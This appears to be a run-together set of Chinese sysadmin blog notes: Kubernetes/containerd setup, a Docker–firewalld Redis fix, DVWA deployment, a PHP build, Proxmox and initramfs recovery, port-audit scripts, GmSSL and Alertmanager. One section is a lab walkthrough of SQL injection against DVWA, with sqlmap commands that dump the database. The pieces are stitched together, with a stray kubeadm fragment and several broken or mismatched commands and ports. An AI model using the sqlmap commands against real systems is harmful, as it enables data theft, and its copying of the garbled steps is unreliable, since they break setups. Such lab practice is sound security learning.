零、 环境介绍

  • HW: 2c2g 20GB
  • OS: Rocky Linux 9.2
  • Master: 192.168.128.200
  • Node1: 192.168.128.204
  • Node2: 192.168.128.205

一、 基础环境

  • 一台或多台服务器
  • 内存2GB或更多,CPU2核或更多,硬盘30GB或更多
  • 所有机器之间网络互通
  • 可以访问外网,需要拉取镜像
  • 禁止swap分区

1.1 禁止 SWAP 分区

编辑配置文件: /etc/fstab 注释相关分区, 重启系统

1.2 关闭防火墙

  • 三台服务器都需配置
    systemctl stop firewalld iptables
    systemctl disable firewalld iptables

1.3 关闭 SeLinux

  • 三台服务器都需配置
    sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.4 配置主机名

  • hostnamectl set-hostname k8s-master
主机 ip
k8s-master 192.168.128.200
k8s-node1 192.168.128.204
k8s-node2 192.168.128.205

1.5 配置解析

  • 三台服务器都需配置

    cat >> /etc/hosts << EOF
    192.168.128.200 k8s-master
    192.168.128.204 k8s-node1
    192.168.128.205 k8s-node2
    EOF

1.6 配置时间同步

  • 三台服务器都需配置
    systemctl enable chronyd --now

1.7 配置ipvs负载均衡

  • master 节点配置
    路径不同于CentOS7 的 /etc/sysconfig/modules

    # 安装相关软件包
    yum install ipset ipvsadm

    # 开启 ip_vs 配置文件
    cat > /etc/modules-load.d/ipvs.conf <<EOF
    ip_vs
    ip_vs_rr
    ip_vs_wrr
    ip_vs_sh
    nf_conntrack_ipv4
    EOF

    # 内核重新加载
    systemctl restart systemd-modules-load.service

    # 验证相关模块是否加载
    [root@k8s-master]# lsmod | grep ip_vs
    ip_vs_sh 16384 0
    ip_vs_wrr 16384 0
    ip_vs_rr 16384 0
    ip_vs 233472 6 ip_vs_rr,ip_vs_sh,ip_vs_wrr
    nf_conntrack 212992 3 nf_nat,nft_ct,ip_vs
    nf_defrag_ipv6 24576 2 nf_conntrack,ip_vs
    libcrc32c 16384 5 nf_conntrack,nf_nat,nf_tables,xfs,ip_vs

1.8 开启网络转发和桥接

  • 三台服务器都需配置
    cat >> /etc/sysctl.conf << EOF
    net.ipv4.ip_forward = 1
    net.bridge.bridge-nf-call-iptables = 1
    net.bridge.bridge-nf-call-ip6tables = 1
    EOF
    sysctl -p

1.9 修改源

  • 三台服务器都需配置
    sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \
    -e 's|^#baseurl=http://dl.rockylinux.org/$contentdir|baseurl=https://mirror.nju.edu.cn/rocky|g' \
    -i.bak \
    /etc/yum.repos.d/rocky-extras.repo \
    /etc/yum.repos.d/rocky.repo

二、 containerd 部署 (二进制)

  • 三台服务器都需要部署

2.1 下载

https://github.com/containerd/containerd/releases

2.2 解压(not follow FHS)

tar xzvf containerd-1.6.2-linux-amd64.tar.gz -C /usr/local/containerd

2.3 systemd管理

[Unit]
Description=containerd container runtime
Documentation=https://containerd.io
After=network.target local-fs.target

[Service]
ExecStartPre=-/sbin/modprobe overlay
ExecStart=/usr/local/containerd/bin/containerd

Type=notify
Delegate=yes
KillMode=process
Restart=always
RestartSec=5

LimitNPROC=infinity
LimitCORE=infinity

TasksMax=infinity
OOMScoreAdjust=-999

[Install]
WantedBy=multi-user.target

systemctl daemon-reload
systemctl enable containerd --now
echo 'PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/containerd/bin"' > /etc/environment

2.4 可能遇到的问题

问题: containerd.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
解决: rm -rf /var/lib/containerd

2.5 安装 runc

https://github.com/containernetworking/plugins/releases
mkdir -p /opt/cni/bin
tar -xzvf cni-plugins-linux-amd64-v1.1.1.tgz -C /opt/cni/bin

三、 containerd 安装 (yum)

containerd的官方yum源是由docker去维护的 😂😂😂😂(●’◡’●)(●’◡’●)(●’◡’●)
yum install -y yum-utils
yum-config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo
yum install containerd.io

四、 配置 cotainerd

4.1 生成配置文件

containerd config default > /etc/containerd/config.toml

kubeadm config images list
kubeadm config images pull --image-repository registry.aliyuncs.com/google_containers

kubeadm init \
--pod-network-cidr=172.16.0.0/16 \
--service-cidr=10.1.0.0/16 \
--image-repository registry.aliyuncs.com/google_containers \
--apiserver-advertise-address 192.168.255.10 \
--control-plane-endpoint dev.i.k8s.rondochen.com:8443 \
--upload-certs

二、 安装 k8s 组件

2.1 配置源

  • 三台服务器都需要操作
    cat >  /etc/yum.repos.d/kubernetes.repo << EOF
    [kubernetes]
    name=Kubernetes
    baseurl=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/
    enabled=1
    gpgcheck=1
    gpgkey=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/repodata/repomd.xml.key
    EOF

2.2 安装 K8S 软件包

  • 三台服务器都需要操作

yum install kubeadm kubelet kubectl kubernetes-cni cri-tools

2.3 配置 cri

  • 三台服务器都需要操作
    cat > /etc/crictl.yaml << EOF
    runtime-endpoint: unix:///run/containerd/containerd.sock
    image-endpoint: unix:///run/containerd/containerd.sock
    timeout: 10
    debug: true
    pull-image-on-create: false
    disable-pull-on-run: false
    EOF

一、 异常说明

某生产服务器 10.21.196.96 运行一个redis(容器), 存在高危漏洞, 历史遗留问题, 无法升级redis, 只能通过防火墙去限制redis端口的流量

无论怎么配置firewall, 对redis的6379端口就是不生效

二、 详情

2.1 猜测是因为容器的原因

添加容器相关接口:
firewall-cmd --zone=public --add-interface=docker0 --permanent
图
图

2.2 firewalld 添加接口报错

ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.8.5 (legacy): interface name `vethd6d63cd@if18' must be shorter than IFNAMSIZ (15)
图

添加接口的时候, 注意接口名称, ip link showifconfig 输出不一样

添加名称 vethd6d63cd@if18 这样的接口, 导致firewalld奔溃.

编辑配置文件: /etc/firewalld/zones/public.xml 删除<interface /> 重启 firewalld 即可

2.3 猜测 ipv6 的原因

同是ipv6, 2375端口就可以被firewalld控制, 6379不可以, 排除该选项!
图

2.4 关闭docker的iptables选项

编辑文件: /etc/docker/daemon.json

添加配置:

{
"iptables": false
}

重启docker后, firewall 可以正常控制端口流量.

三、 原因分析

下载了docker配置 "iptables": false 前后 iptables -nL 的输出

然而并没有什么不同.

一、 环境说明

靶机: 192.168.1.201 (DVWA 容器)
攻击: 192.168.1.15 (kali)
Security: Low

二、 SQL Injection

2.1 源码分析

  <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入用户id, 参数传入之后没有任何过滤, 拼接成sql语句使用mysqli-query函数查询
测试 ' and 1=2, 根据 response 判断存在 字符串类型注入
图

这里使用Burp Suite
图

2.3 使用sqlmap对url进行检测

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low"

图

存在以下可以注入的类型:
UNION query SQL injection(可联合查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

枚举出 DBMS 所有数据库

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-- dbs

图

枚举出 DBMS 数据库中的所有表

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa --tables

图

枚举出 DBMS 表中的所有列

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns

图

枚举所有数据

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns -a

图

一、 介绍

Damn Vulnerable Web Application (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。
它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。

DVWA的目的是通过简单明了的界面来练习一些最常见的 Web 漏洞,所练习的漏洞具有不同的难度级别。 请注意,此软件存在提示和无提示的漏洞。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。

二、 部署

2.1 下载

https://github.com/digininja/DVWA

2.2 依赖安装

yum install httpd mariadb-server mariadb-client php php-mysqli php-gd

2.3 数据库配置 (mariadb)

create database dvwa;
create user dvwa@localhost identified by 'p@ssw0rd';
grant all on dvwa.* to dvwa@localhost;
flush privileges;

2.4 dvwa 配置

配置文件: config.ini.php

修改配置如下:

$_DVWA[ 'db_server'] = '127.0.0.1';
$_DVWA[ 'db_port'] = '3306';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_database' ] = 'dvwa';

2.5 httpd 配置

将dvwa 解压后放至 /var/www/html 目录, 注意权限问题

三、 DVWA 配置

3.1 php 模块配置

可以看到有几个 Disabled 状态的模块

PHP function display_errors: Disabled
PHP function display_startup_errors: Disabled
PHP function allow_url_include: Disabled

修改 /etc/php.ini
找到对应的配置修改配置 On 即可

图

3.2 配置数据

点击下面的 create/Reset Database 按钮后, 重新登录 dvwa 即可
图

四、 常见问题

4.1 httpd 403 forbident

关闭 selinux: setenforce 0

4.2 DVWA system error

注意配置文件的路径和名称
路径: ./config 目录下
名称: config.inc.php

五、 docker 部署

5.1 获取镜像

docker pull vulnerables/web-dvwa

5.2 启动容器

docker run -d --rm -p 80:80 vulnerables/web-dvwa:latest

5.3 allow_url_include 配置

路径: 容器:/etc/php/7.0/apache2/php.ini
使用docker cp 将文件复制出来, 修改完文件后, 复制进容器内替换文件, 然后重启容器.

一、 编译安装php8.3

  • 依赖
    yum -y install php-mcrypt libmcrypt-devel libxml2 libxml2-devel openssl openssl-devel curl-devel libjpeg-devel libpng-devel freetype-devel libmcrypt-devel libmemcached oniguruma-devel

  • 下载
    https://www.php.net/downloads.php

  • 解压
    tar -zxvf php-8.3.2.tar.gz

  • 生成配置
    ./buildconf

  • 编译选项

    ./configure  --enable-debug  --prefix=/usr/local/php-8.3.2 \
    --with-config-file-path=/usr/local/php-8.3.2/etc \
    --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd \
    --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock \
    --enable-mysqlnd --with-iconv --enable-bcmath --enable-shmop --enable-sysvsem \
    --enable-mbregex --enable-fpm --enable-mbstring --enable-ftp --with-openssl \
    --enable-pcntl --enable-sockets --enable-soap --with-gettext \
    --with-curl

    注意参数: --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock

  • 编译安装
    make -j4 && make test -j4 && make install

二、 配置PHP

2.1 php 配置文件

从源码里复制一份到安装目录
cp {path_2_your_php_source}/php.ini-development /usr/local/php/etc/php.ini

2.2 php-fpm 配置文件

cd /usr/local/php/etc/php-fpm.d/ && cp www.conf.default www.conf
cd /usr/local/php/etc && cp php-fpm.conf.default php-fpm.conf

2.3 修改 php-fpm 配置

文件: /usr/local/php/etc/php-fpm.conf
配置: pid = run/php-fpm.pid

2.4 修改 www.conf 配置

文件: /usr/local/php/etc/php-fpm.d/www.conf
配置: listen = 127.0.0.1:9000 (与nginx中的配置保持一致)

三、 配置 systemd

vim php-fpm.service

[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target

[Service]
Type=simple
PIDFile=/usr/local/php/var/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf
ExecReload=/bin/kill -USR2 $MAINPID
ExecStop=/bin/kill -SIGINT $MAINPID

[Install]
WantedBy=multi-user.target

systemctl daemon-reload && systemctl enable php-fpm --now

3.1 Nginx 配置

vim php.conf

server {
listen 4433 default_server;
listen [::]:4433 default_server;
server_name 192.168.1.201;
root /var/www/;

location / {
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

location ~ \.php$ {
fastcgi_pass 127.0.0.1:19000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

3.2 php_info

vim /var/www/index.php

<?php
phpinfo();

3.3 验证

图

initramfs 介绍

initramfs 全称为”initial RAM file system”,是一个临时的根文件系统,用于在 Linux 启动过程中初始化和加载真正的根文件系统之前提供必要的工具和驱动程序。它通常被用于启动过程中加载必要的驱动程序或工具,以便在切换到真正的根文件系统之前进行必要的准备工作。

Ubuntu 启动没有正常进入系统, 却进入了 initramfs 通常是因为某种问题阻止了正常启动, 可能原因如下:

  • 文件系统损坏
  • 硬件问题
  • 驱动程序问题
  • 引导程序配置错误

解决

根据上文的提示:

failure File system check of ro ot filesystem failed
The root filesystem on /dev/mapper/ubuntu–vg-ubuntu–lv requires a manual fsck

执行手动修复:
fsck /dev/mapper/ubuntu--vg-ubuntu--lv -y

initramfs下重启系统:
exit

图

环境

pve(master): 192.168.1.200

pve(vm-centos): 192.168.1.201
pve(vm-Ubuntu): 192.168.1.109
pve(vm-windows7): 192.168.1.61

一、 起因

pve-matser 上执行了 apt dist-upgrade

提示我: You are attempting to remove the meta-package 'proxmox-ve'!

图

想都没想按照提示执行了, 结果pve控制台就没了. qm等相关命令也没了.

二、 解决

思路: 根据日志提示和lsblk相关的输出, 判断只是删除了相关的pev包, 源数据还在, 安装相关的pve包回去即可

按照日志和apt log 提示, 找到了被删除的包

2.1 添加源

echo "deb [arch=amd64] http://download.proxmox.com/debian/pve buster pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list

2.2 添加 gpg key

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

2.3 安装 Proxmox VE 包

apt install proxmox-ve postfix open-iscsi

2.4 相关报错 pve-container : Depends: binutils but it is not installable

我是原生安装的pve, 不是从debian过来的, 所以缺少相关的包. 添加debian的源到source.list之后update即可

2.4 相关日志

/var/log/syslog

2.5 IO errors

一般是磁盘满了, 清理下磁盘

仅限 tcp 端口

一、 Windows/Winserver

:: @author  wanghuaizhuang
:: @date 2024-2-29
:: @version V1.0

:: get the high risk ports on windows/winserver
:: usage: right-click and run this script as administrator

@echo off
setlocal enabledelayedexpansion

:: set high risk ports
set "ports=21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888 3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161 8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030"

for %%p in (%ports%) do (
netstat -ano | findstr LISTEN | findstr /c:":%%p " >nul
if errorlevel 1 (
echo High Risk Port %%p is not listening. > nul
) else (
echo High Risk Port %%p is listening
set count=0
for /f "tokens=5" %%a in ('netstat -aon ^| findstr ":%%p " ^| findstr "LISTENING"') do (
if !count! equ 0 (
wmic process where processid="%%a" get processid, executablepath
set /a count+=1
)
)
echo "------------------------------------------------------------------"

)
)
pause



参数说明:

  • /c: 完全匹配
  • ":%%p " –> ":139 " (注意空格)避免较长端口号中间包含139
  • errorlevel 1 判断命令执行的返回
  • bat同级目录输出文件

二、 Linux

## get high risk ports on Linux

## @author wanghuaizhuang
## @date 2024-4-8
## @version V2.0

#! /bin/bash

# high-risk ports
valid_ports="21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888
3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161
8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030
"

# get listening ports
ports=$(ss -tuln | awk 'NR>1 {print $5}' | awk -F '[:]' '{print $NF}' | awk '!seen[$0]++')


# iterate through ports
for port in $ports; do
# check whether the port is a high-risk port
if echo "$valid_ports" | grep -q "\<$port\>"; then
# print on terminal and save to file
echo -e 高危端口: "\e[31m$port\e[0m"

pid=$(lsof -i:$port | awk 'NR>1 {print $2}' | head -n 1)
path=$(ps $pid | awk 'NR==2 {print $5}')

echo -e 进程ID: "\e[31m$pid\e[0m"
echo -e 二进制文件: "\e[31m$path\e[0m"
echo -e "----------------\n"
echo "$port" >> output.txt
fi
done

guanzhi/GmSSL

是由北京大学自主开发的国产商用密码开源库,实现了对国密算法、标准和安全通信协议的全面功能覆盖,支持包括移动端在内的主流操作系统和处理器,支持密码钥匙、密码卡等典型国产密码硬件,提供功能丰富的命令行工具及多种编译语言编程接口。

GMSSL 国密实验室

是一个提供国密SSL相关软件/工具/服务的网站,网站简称国密SSL实验室 版本所有 2020 国密SSL实验室 保留全部权利 云钥网络提供技术支持 京ICP备17056405号-2

guanzhi/GmSSL

单独实现了 SM2, SM3, SM4 并不兼容 OpenSSL, 也不属于OpenSSL的扩展

一、 openssl国密版

  • 下载
    https://www.gmssl.cn/gmssl/index.jsp

  • 解压
    tar xzfm gmssl_openssl_1.1_b2024_x64_1.tar.gz -C /usr/local

二、 nginx国密版

  • 下载
    https://nginx.org/download/

  • 解压
    tar -xzvf nginx-1.24.0.tar.gz

  • 修改nginx中关于openssl的配置
    vim auto/lib/openssl/conf
    $OPENSSL/.openssl/—> $OPENSSL/

  • 编译安装

    ./configure \
    --prefix=/usr/local/nginx-1.24.0 \
    --without-http_gzip_module \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_v2_module \
    --with-stream \
    --with-file-aio \
    --with-openssl="/usr/local/gmssl"

    make && make install

三、 国密证书自签

(下面命令实际测试无效, 和gmssl版本有关, 已作废)

3.1 安装 gmssl 工具(二进制)

  • 下载
    https://github.com/guanzhi/GmSSL

  • 解压
    tar -xzvf GmSSL-3.1.1-Linux.tar.gz

  • 链接库 (源码编译安装的可以省略这一步)
    echo /usr/local/gmssl-3.1.1/lib > /etc/ld.so.conf.d/gmssl.conf
    ldconfig

  • 验证安装
    /usr/local/gmssl-3.1.1/bin/gmssl version

3.2 创建 CA

  • CA 私钥
    gmssl sm2keygen -pass 123456 -out ca.key

  • CA_CERT
    gmssl certgen -C CN -ST ZheJiang -L HangZhou -O PKU -OU CS -CN ROOTCA -days 365 -key ca.key -pass 123456 -out cacert.pem -key_usage keyCertSign -key_usage cRLSign

  • CA_CERT_parse

gmssl certparse -in cacert.pem

  • sign_key
    gmssl sm2keygen -pass 123456 -out sign.key

  • sign_req

gmssl reqgen -C CN -ST ZheJiang -L HangZhou -O PKU -OU CS -CN localhost -key sign.key -pass 123456 -out sign.req

  • sign_cert
    gmssl reqsign -in sign.req -days 365 -key_usage digitalSignature -cacert cacert.pem -key ca.key -pass 123456 -out sign.cert

三、测试

3.1 证书生成

免费证书生成

使用支持国密算法的浏览器, 这里用360浏览器测试

傻逼360, 360就是个傻逼

图

一、 安装 Alertmanager

1.1 基于二进制安装

  • 下载
    https://github.com/prometheus/alertmanager/releases

  • 解压
    tar -xzvf alertmanager-0.26.0.linux-amd64.tar.gz

  • 运行
    ./alertmanager --config.file="alertmanager.yml"

1.2 基于 docker 安装

docker run --name alertmanager -d -p 127.0.0.1:9093:9093 quay.io/prometheus/alertmanager

二、 配置 Alertmanager

2.1 配置 Alertmanager 告警方式

  • 编辑配置文件: alertmanager.yml

  • smtp_smarthost 字段需要注明端口

    global: 
    resolve_timeout: 5m
    smtp_smarthost: 'smtp.qq.com:25'
    smtp_from: '[email protected]'
    smtp_auth_username: '[email protected]' #
    smtp_auth_password: 'yourpasswd/authenticCode'
    route:
    group_by: ['alertname']
    group_wait: 30s
    group_interval: 5m
    repeat_interval: 1h
    receiver: 'email'
    receivers:
    - name: 'email'
    email_configs:
    - to: '[email protected]'
    inhibit_rules:
    - source_match:
    severity: 'critical'
    target_match:
    severity: 'warning'
    equal: ['alertname', 'dev', 'instance']

2.2 配置 Prometheus

  • 编辑配置文件 prometheus.yml

    alerting:
    alertmanagers:
    - static_configs:
    - targets: ["192.168.1.201:9093"]

    rule_files:
    - "/usr/local/prometheus/rules/*"
  • /usr/local/prometheus/rules/* 用于存放告警规则

2.3 告警示例

vim /usr/local/prometheus/rules/first.rules.yml

groups:
- name: cpuAlertGroup
rules:
- alert: hostCPUUsageTooHigh
expr: (1 - sum(increase(node_cpu_seconds_total{mode="idle"}[1m])) by (instance) / sum(increase(node_cpu_seconds_total[1m])) by (instance) ) * 100 > 50
for: 30s
labels:
biz_type: cpu_usage
annotations:
summary: "Instance {{ $labels.instance }} CPU usgae high"
description: "{{ $labels.instance }} CPU usage above 50% (current : {{ $value }})"

三、 测试

  • 测试脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-

### 用法: python cpu_mem.py 4 1024
### 解释:
### 占满 4个核心
### 占用1024MB内存

import sys
import time
from multiprocessing import Process

def exec_func(bt):

while True:
for i in range(0, 9600000):
pass
time.sleep(bt)

if __name__ == "__main__":

if len(sys.argv) != 3:
print('Need one argument! ')
sys.exit()
cpu_logical_count = int(sys.argv[1])
cpu_sleep_time = 0.01
memory_used_mb = int(sys.argv[2])

try:
s = ' ' * (memory_used_mb * 1024 * 1024)
except MemoryError:
print("剩余内存不足,内存有溢出......")

try:
p = Process(target=exec_func, args=("bt",))
ps_list = []
for i in range(0, cpu_logical_count):
ps_list.append(Process(target=exec_func, args=(cpu_sleep_time,)))
for p in ps_list:
p.start()
for p in ps_list:
p.join()
except KeyboardInterrupt:
print("资源浪费结束!")

图
图